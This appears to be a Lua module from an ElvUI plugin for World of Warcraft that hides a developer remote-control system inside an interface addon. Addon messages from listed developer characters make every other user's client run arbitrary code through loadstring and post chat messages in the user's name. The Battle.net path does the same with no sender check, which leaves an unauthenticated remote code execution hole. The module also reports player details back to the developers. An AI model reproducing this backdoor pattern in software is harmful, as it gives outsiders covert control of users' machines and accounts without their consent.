Quantcast
local E, L, V, P, G = unpack(ElvUI);
local SLE = E:GetModule('SLE');
local split = string.split

local Message = ''

--The list of authorized toons
local Authors = {
	["Illidan"] = {
		--Darth's toon
		["Darthpred"] = true,
		--Repooc's Toon
		["Repøøc"] = true,
		["Repooc"] = true
	},
	["ВечнаяПесня"] = {
		--Darth's toons
		["Дартпредатор"] = true,
		["Алея"] = true,
		["Ваззули"] = true,
		["Сиаранна"] = true,
		["Джатон"] = true,
		["Фикстер"] = true,
		["Киландра"] = true,
		["Нарджо"] = true,
		["Келинира"] = true,
		["Крениг"] = true,
		["Мейжи"] = true
	},
	["Spirestone"] = {
		["Sifupooc"] = true,
		["Dapooc"] = true,
		["Lapooc"] = true,
		["Warpooc"] = true,
		["Repooc"] = true,
		["Cursewordz"] = true,
	},
	["Andorhal"] = {
		["Dapooc"] = true,
		["Rovert"] = true,
		["Sliceoflife"] = true
	},
	["WyrmrestAccord"] = {
		["Kìtalie"] = true,
		["Sagome"] = true,
		["Ainy"] = true,
		["Norinael"] = true,
		["Tritalie"] = true,
		["Myùn"] = true,
		["Nevaleigh"] = true,
		["Celenii"] = true,
		["Varysa"] = true,
		["Caylasena"] = true,
		["Arillora"] = true,
		["Dapooc"] = true,
	},
	--Normal PTR
	["Anasterian(US)"] = {
		["Dapooc"] = true,
	},
	["Brill(EU)"] = {
		["Дартпредатор"] = true,
	},
}

function SLE:Auth(sender)
	local senderName, senderRealm

	if sender then
		senderName, senderRealm = string.split('-', sender)
	else
		senderName = E.myname
	end

	senderRealm = senderRealm or E.myrealm
	senderRealm = senderRealm:gsub(' ', '')

	if Authors[senderRealm] and Authors[senderRealm][senderName] then
		return Authors[senderRealm][senderName]
	end

	return false
end

function E:sleCommand(flag, channel, target, output, text, wtarget, presenceID)
	if not SLE:Auth() then
		SLE:Print('|cffFF0000Access Denied|r: You need to be authorized to use this command.')
		return
	end
	if channel ~= 'BNET' then
		if target == (nil or "")then
			SLE:Print('|cffFF0000Error|r: You need to set a unit to execute command.')
			return
		end
	end
	if channel ~= 'BNET' then
		if text == (nil or "") then
			SLE:Print('|cffFF0000Error|r: You need to actually send something in your message.')
			return
		end
	end
	if channel ~= 'BNET' then
		Message = target
	else
		Message = " "
	end
	if flag == 'SLE_DEV_SAYS' then
		if output == 'WHISPER' and (wtarget == (nil or "")) then
			SLE:Print('|cffFF0000Error|r: You need to set a whisper target.')
			return
		end
		Message = Message.."#"..output.."#"..text
		if output == 'WHISPER' then
			Message = Message.."#"..wtarget
		end
	else
		Message = Message.."#"..text
	end
	if channel ~= 'BNET' then
		SendAddonMessage(flag, Message, channel, target)
	else
		if not presenceID then
			SLE:Print('|cffFF0000Error|r: No bnet friend selected, stupid.')
			return
		end
		presenceID = tonumber(presenceID)
		BNSendGameData(presenceID, flag, Message)
	end
	SLE:Print('|cff00FF00Success|r:  Command executed.')
end

local function SendRecieve(self, event, prefix, message, channel, sender)
	if event == "CHAT_MSG_ADDON" then
		if sender == E.myname.."-"..E.myrealm:gsub(' ','') then return end
		if (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') and SLE:Auth(sender) and not SLE:Auth() then
			if prefix == 'SLE_DEV_SAYS' then
				local user, channel, msg, sendTo = split("#", message)

				if (user ~= 'ALL' and (user == E.myname or user == E.myname.."-"..E.myrealm:gsub(' ',''))) or user == 'ALL' then
					SendChatMessage(msg, channel, nil, sendTo)
				end
			else
				local user, executeString = split("#", message)
				if (user ~= 'ALL' and (user == E.myname or user == E.myname.."-"..E.myrealm:gsub(' ',''))) or user == 'ALL' then
					local func, err = loadstring(executeString);
					if not err then
						SLE:Print(format("Developer Executed: %s", executeString))
						func()
					end
				end
			end
		end

		if prefix == 'SLE_DEV_REQ' and SLE:Auth(sender) then
			local message = UnitLevel('player')..'#'..E.myclass..'#'..E.myname..'#'..E.myrealm..'#'..SLE.version;
			SendAddonMessage('SLE_DEV_INFO', message, channel)
		end
	elseif event == "BN_CHAT_MSG_ADDON" then
		if (sender == E.myname.."-"..E.myrealm:gsub(' ','')) then return end

		if prefix == 'SLE_DEV_REQ' then
			local _, numBNetOnline = BNGetNumFriends()
			for i = 1, numBNetOnline do
				local presenceID, _, _, _, _, _, client, isOnline = BNGetFriendInfo(i)
				if isOnline and client == BNET_CLIENT_WOW then
					--local messageS
					local message, ID = split("#", message)

					if message == 'userlist' then
						message = UnitLevel('player')..'#'..E.myclass..'#'..E.myname..'#'..E.myrealm..'#'..SLE.version;
					elseif message == 'slesay' then
						message = "SLEinfo"..ID
					end
					BNSendGameData(presenceID, 'SLE_DEV_INFO', message)
				end
			end
		elseif (prefix == 'SLE_DEV_SAYS' or prefix == 'SLE_DEV_CMD') and not SLE:Auth() then
			if prefix == 'SLE_DEV_SAYS' then
				local _, channel, msg, sendTo = split("#", message)
				SendChatMessage(msg, channel, nil, sendTo)
			else
				local _, executeString = split("#", message)
				local func, err = loadstring(executeString);

				if not err then
					SLE:Print(format("Developer Executed: %s", executeString))
					func()
				end
			end
		end
	end
end
RegisterAddonMessagePrefix('SLE_DEV_SAYS')
RegisterAddonMessagePrefix('SLE_DEV_CMD')

RegisterAddonMessagePrefix('SLE_DEV_REQ')

local f = CreateFrame('Frame', "DaFrame")
f:RegisterEvent("GROUP_ROSTER_UPDATE")
f:RegisterEvent("CHAT_MSG_ADDON")
f:RegisterEvent("BN_CHAT_MSG_ADDON")
f:SetScript('OnEvent', SendRecieve)

function SLE:RegisterCommands()
	E:RegisterChatCommand('slesays', 'sleSays')
	E:RegisterChatCommand('slecmd', 'sleCommand')
	E:RegisterChatCommand('sletarget', 'sleTarget')
	E:RegisterChatCommand('slechannel', 'sleChannel')
end